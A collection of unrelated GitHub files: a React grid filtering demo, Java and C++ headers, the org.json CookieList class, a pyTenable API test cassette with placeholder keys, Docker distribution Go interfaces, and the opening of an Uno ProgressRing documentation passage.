import React, { useState } from 'react';<%&additionalImports%> import { FilteringState, IntegratedFiltering, } from '@devexpress/dx-react-grid'; import { Grid, Table, TableHeaderRow, TableFilterRow, } from '@devexpress/dx-react-grid-<%&themeName%>'; <%&cssImports%> import { generateRows } from '../../../demo-data/generator'; export default () => { const [columns] = useState([ { name: 'name', title: 'Name' }, { name: 'gender', title: 'Gender' }, { name: 'city', title: 'City' }, { name: 'car', title: 'Car' }, ]); const [rows] = useState(generateRows({ length: 8 })); const [defaultFilters] = useState([{ columnName: 'car', value: 'cruze' }]); const [filteringStateColumnExtensions] = useState([ { columnName: 'name', filteringEnabled: false }, { columnName: 'car', filteringEnabled: false }, ]); return ( <<%&wrapperTag%><%&wrapperAttributes%>> <Grid rows={rows} columns={columns} > <FilteringState defaultFilters={defaultFilters} columnExtensions={filteringStateColumnExtensions} /> <IntegratedFiltering /> <Table /> <TableHeaderRow /> <TableFilterRow /> </Grid> </<%&wrapperTag%>> ); };
{ "pile_set_name": "Github" }
package com.example.springdemo.springdemo.selenium; /** * @program: springBootPractice * @description: * @author: hu_pf * @create: 2020-06-01 18:15 **/ public class SeleiumConstants { public static String SPLIT = ","; public static Integer LIMIT_NUM = 5; public static Integer COMMENT_MAX = 2; }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <PropertyGroup> <_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion> <_PropertySheetDisplayName>DirectX Version Defines</_PropertySheetDisplayName> </PropertyGroup> <ItemDefinitionGroup> <ClCompile> <PreprocessorDefinitions>DIRECTINPUT_VERSION=0x0800;%(PreprocessorDefinitions)</PreprocessorDefinitions> </ClCompile> </ItemDefinitionGroup> </Project>
{ "pile_set_name": "Github" }
package org.json; /* Copyright (c) 2002 JSON.org Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. The Software shall be used for Good, not Evil. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * Convert a web browser cookie list string to a JSONObject and back. * @author JSON.org * @version 2015-12-09 */ public class CookieList { /** * Convert a cookie list into a JSONObject. A cookie list is a sequence * of name/value pairs. The names are separated from the values by '='. * The pairs are separated by ';'. The names and the values * will be unescaped, possibly converting '+' and '%' sequences. * * To add a cookie to a cookie list, * cookielistJSONObject.put(cookieJSONObject.getString("name"), * cookieJSONObject.getString("value")); * @param string A cookie list string * @return A JSONObject * @throws JSONException */ public static JSONObject toJSONObject(String string) throws JSONException { JSONObject jo = new JSONObject(); JSONTokener x = new JSONTokener(string); while (x.more()) { String name = Cookie.unescape(x.nextTo('=')); x.next('='); jo.put(name, Cookie.unescape(x.nextTo(';'))); x.next(); } return jo; } /** * Convert a JSONObject into a cookie list. A cookie list is a sequence * of name/value pairs. The names are separated from the values by '='. * The pairs are separated by ';'. The characters '%', '+', '=', and ';' * in the names and values are replaced by "%hh". * @param jo A JSONObject * @return A cookie list string * @throws JSONException */ public static String toString(JSONObject jo) throws JSONException { boolean b = false; final StringBuilder sb = new StringBuilder(); // Don't use the new entrySet API to maintain Android support for (final String key : jo.keySet()) { final Object value = jo.opt(key); if (!JSONObject.NULL.equals(value)) { if (b) { sb.append(';'); } sb.append(Cookie.escape(key)); sb.append("="); sb.append(Cookie.escape(value.toString())); b = true; } } return sb.toString(); } }
{ "pile_set_name": "Github" }
/* Copyright 2019 The Blueoil Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =============================================================================*/ #ifndef DLK_TENSOR_SAVE_H_INCLUDED #define DLK_TENSOR_SAVE_H_INCLUDED #include <string> #include "types.h" #include "global.h" #include "tensor_view.h" void save_tensor(TensorView<T_FLOAT, MemoryLayout::NHWC>&, const std::string& name, int32_t suffix); void save_tensor(TensorView<T_FLOAT, MemoryLayout::NC>&, const std::string& name, int32_t suffix); void save_tensor(TensorView<T_FLOAT, MemoryLayout::C>&, const std::string& name, int32_t suffix); void save_tensor(TensorView<QUANTIZED_PACKED, MemoryLayout::ChHWBCl>&, const std::string& name, int32_t suffix); void save_tensor(TensorView<QUANTIZED_PACKED, MemoryLayout::HWChBCl>&, const std::string& name, int32_t suffix); #endif // DLK_TENSOR_SAVE_H_INCLUDED
{ "pile_set_name": "Github" }
interactions: - request: body: null headers: Accept: ['*/*'] Accept-Encoding: ['gzip, deflate'] Connection: [keep-alive] User-Agent: [pyTenable/0.3.4 (pyTenable/0.3.4; Python/2.7.14)] X-APIKeys: [accessKey=TIO_ACCESS_KEY;secretKey=TIO_SECRET_KEY] method: GET uri: https://cloud.tenable.com/scans/timezones response: body: string: !!binary | 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 e3PuYb79///zXxP2YS0cdwAA headers: accept-ranges: [bytes] cache-control: [no-cache] connection: [keep-alive] content-encoding: [gzip] content-length: ['6231'] content-type: [application/json; charset=utf-8] date: ['Thu, 06 Dec 2018 23:19:42 GMT'] expires: ['0'] pragma: [''] server: [tenable.io] set-cookie: [nginx-cloud-site-id=us-2b; path=/; HttpOnly, nginx-cloud-site-id=us-2b; path=/; HttpOnly] strict-transport-security: [max-age=63072000; includeSubDomains] vary: [accept-encoding] x-content-type-options: [nosniff] x-frame-options: [DENY] x-gateway-site-id: [nginx-router-c-prod-us-east-2] x-request-uuid: [210dc6e5de8a85d39a3b7ff22814ad85] x-xss-protection: [mode=block] status: {code: 200, message: OK} - request: body: !!python/unicode '{"schedule": {"timezone": "Etc/UTC", "endtime": "2018-12-07 00:19:41", "enabled": true, "rrules": {"freq": "ONETIME", "interval": 1}, "starttime": "2018-12-06 23:19:41"}, "name": "e55e8062-8042-49d8-9769-38bb8036d152", "members": "127.0.0.1", "description": null}' headers: Accept: ['*/*'] Accept-Encoding: ['gzip, deflate'] Connection: [keep-alive] Content-Length: ['263'] Content-Type: [application/json] Cookie: [nginx-cloud-site-id=us-2b] User-Agent: [pyTenable/0.3.4 (pyTenable/0.3.4; Python/2.7.14)] X-APIKeys: [accessKey=TIO_ACCESS_KEY;secretKey=TIO_SECRET_KEY] method: POST uri: https://cloud.tenable.com/exclusions response: body: string: !!binary | H4sIAAAAAAAAA3WQP0/EMAzFv8rJcwP51zbNijowAMsxn9LGJyKlKaQpA6f77jjoppOQF0t+v/ds X2CbP9DvEcFeAJMvYaEWJBeGCcl4f+DcisFqAQ3N3RTRgy15xwZyJm6r4DnjF1Fvr+Px+WUkZUgF 87eLYMW1gWr6s6ZqPJb58f34RJKtuFzu47qDVLc44qLbymlZfTiH2ZWwppN3hfSi1Vooo4xsYM74 32jBZcJMC4KQ/QOnqkd43OYcPisDNu0xNpDc3xbYtmh4J5nhWjI9eMOGvhuYMtNkuOq8aGW9jR7Q aiGvvxRE4f09AQAA headers: cache-control: [no-cache] connection: [keep-alive] content-encoding: [gzip] content-type: [application/json; charset=utf-8] date: ['Thu, 06 Dec 2018 23:19:42 GMT'] expires: ['0'] pragma: [''] server: [tenable.io] set-cookie: [nginx-cloud-site-id=us-2b; path=/; HttpOnly, nginx-cloud-site-id=us-2b; path=/; HttpOnly] strict-transport-security: [max-age=63072000; includeSubDomains] transfer-encoding: [chunked] vary: [accept-encoding] x-content-type-options: [nosniff] x-frame-options: [DENY] x-gateway-site-id: [nginx-router-c-prod-us-east-2] x-request-uuid: [ec2f4a2d6d8504722d17067a13623f88] x-xss-protection: [mode=block] status: {code: 200, message: OK} - request: body: null headers: Accept: ['*/*'] Accept-Encoding: ['gzip, deflate'] Connection: [keep-alive] Content-Length: ['0'] Cookie: [nginx-cloud-site-id=us-2b] User-Agent: [pyTenable/0.3.4 (pyTenable/0.3.4; Python/2.7.14)] X-APIKeys: [accessKey=TIO_ACCESS_KEY;secretKey=TIO_SECRET_KEY] method: DELETE uri: https://cloud.tenable.com/exclusions/5412 response: body: {string: !!python/unicode ''} headers: cache-control: [no-cache] connection: [keep-alive] content-length: ['0'] date: ['Thu, 06 Dec 2018 23:19:42 GMT'] expires: ['0'] pragma: [''] server: [tenable.io] set-cookie: [nginx-cloud-site-id=us-2b; path=/; HttpOnly, nginx-cloud-site-id=us-2b; path=/; HttpOnly] strict-transport-security: [max-age=63072000; includeSubDomains] x-content-type-options: [nosniff] x-frame-options: [DENY] x-gateway-site-id: [nginx-router-c-prod-us-east-2] x-request-uuid: [1f1f7ac52566958dac054c29fee33ee3] x-xss-protection: [mode=block] status: {code: 200, message: OK} - request: body: null headers: Accept: ['*/*'] Accept-Encoding: ['gzip, deflate'] Connection: [keep-alive] Content-Length: ['0'] Cookie: [nginx-cloud-site-id=us-2b] User-Agent: [pyTenable/0.3.4 (pyTenable/0.3.4; Python/2.7.14)] X-APIKeys: [accessKey=TIO_ACCESS_KEY;secretKey=TIO_SECRET_KEY] method: DELETE uri: https://cloud.tenable.com/exclusions/5412 response: body: string: !!binary | H4sIAAAAAAAAA6tWSi0qyi9SslIKyUhVKEotLE0tLklNUUjLzElVKE8sVsjLL1FIyy/NS1GqBQB3 hIKnLAAAAA== headers: cache-control: [no-cache] connection: [keep-alive] content-encoding: [gzip] content-type: [application/json; charset=utf-8] date: ['Thu, 06 Dec 2018 23:19:42 GMT'] expires: ['0'] pragma: [''] server: [tenable.io] set-cookie: [nginx-cloud-site-id=us-2b; path=/; HttpOnly, nginx-cloud-site-id=us-2b; path=/; HttpOnly] strict-transport-security: [max-age=63072000; includeSubDomains] transfer-encoding: [chunked] vary: [accept-encoding] x-content-type-options: [nosniff] x-frame-options: [DENY] x-gateway-site-id: [nginx-router-c-prod-us-east-2] x-request-uuid: [c25a5d516afad782e2784ce9f0b4587c] x-xss-protection: [mode=block] status: {code: 404, message: Not Found} version: 1
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <MapsSupport/NSObject-Protocol.h> @class NSXPCConnection, NSXPCListener; @protocol NSXPCListenerDelegate <NSObject> @optional - (BOOL)listener:(NSXPCListener *)arg1 shouldAcceptNewConnection:(NSXPCConnection *)arg2; @end
{ "pile_set_name": "Github" }
package distribution import ( "github.com/docker/distribution/context" "github.com/docker/distribution/reference" ) // Scope defines the set of items that match a namespace. type Scope interface { // Contains returns true if the name belongs to the namespace. Contains(name string) bool } type fullScope struct{} func (f fullScope) Contains(string) bool { return true } // GlobalScope represents the full namespace scope which contains // all other scopes. var GlobalScope = Scope(fullScope{}) // Namespace represents a collection of repositories, addressable by name. // Generally, a namespace is backed by a set of one or more services, // providing facilities such as registry access, trust, and indexing. type Namespace interface { // Scope describes the names that can be used with this Namespace. The // global namespace will have a scope that matches all names. The scope // effectively provides an identity for the namespace. Scope() Scope // Repository should return a reference to the named repository. The // registry may or may not have the repository but should always return a // reference. Repository(ctx context.Context, name reference.Named) (Repository, error) // Repositories fills 'repos' with a lexigraphically sorted catalog of repositories // up to the size of 'repos' and returns the value 'n' for the number of entries // which were filled. 'last' contains an offset in the catalog, and 'err' will be // set to io.EOF if there are no more entries to obtain. Repositories(ctx context.Context, repos []string, last string) (n int, err error) // Blobs returns a blob enumerator to access all blobs Blobs() BlobEnumerator // BlobStatter returns a BlobStatter to control BlobStatter() BlobStatter } // RepositoryEnumerator describes an operation to enumerate repositories type RepositoryEnumerator interface { Enumerate(ctx context.Context, ingester func(string) error) error } // ManifestServiceOption is a function argument for Manifest Service methods type ManifestServiceOption interface { Apply(ManifestService) error } // WithTag allows a tag to be passed into Put func WithTag(tag string) ManifestServiceOption { return WithTagOption{tag} } // WithTagOption holds a tag type WithTagOption struct{ Tag string } // Apply conforms to the ManifestServiceOption interface func (o WithTagOption) Apply(m ManifestService) error { // no implementation return nil } // Repository is a named collection of manifests and layers. type Repository interface { // Named returns the name of the repository. Named() reference.Named // Manifests returns a reference to this repository's manifest service. // with the supplied options applied. Manifests(ctx context.Context, options ...ManifestServiceOption) (ManifestService, error) // Blobs returns a reference to this repository's blob service. Blobs(ctx context.Context) BlobStore // TODO(stevvooe): The above BlobStore return can probably be relaxed to // be a BlobService for use with clients. This will allow such // implementations to avoid implementing ServeBlob. // Tags returns a reference to this repositories tag service Tags(ctx context.Context) TagService } // TODO(stevvooe): Must add close methods to all these. May want to change the // way instances are created to better reflect internal dependency // relationships.
{ "pile_set_name": "Github" }
# ProgressRing There are 2 progress rings available in Uno: * `Windows.UI.Xaml.Controls.ProgressRing` - the UWP one, support for both native & UWP styling. * `Microsoft.UI.Xaml.Controls.ProgressRing` - the new version, which is powered by Lottie. ## Using the legacy `Windows.UI.Xaml.Controls.ProgressRing` This control works on all platforms and uses the native progress ring control by default, with the exception of Wasm where there is no native progress ring control. ## Using the new `Microsoft.UI.Xaml.Controls.ProgressRing` This version comes with [WinUI 2.4](https://docs.microsoft.com/en-us/windows/apps/winui/winui2/release-notes/winui-2.4#progressring) and is using an `<AnimatedVisualPlayer />` in its Control Template. It is also designed to be a replacement for the legacy version, where a custom template should work unchanged with this control. **IMPORTANT**: To use the refreshed 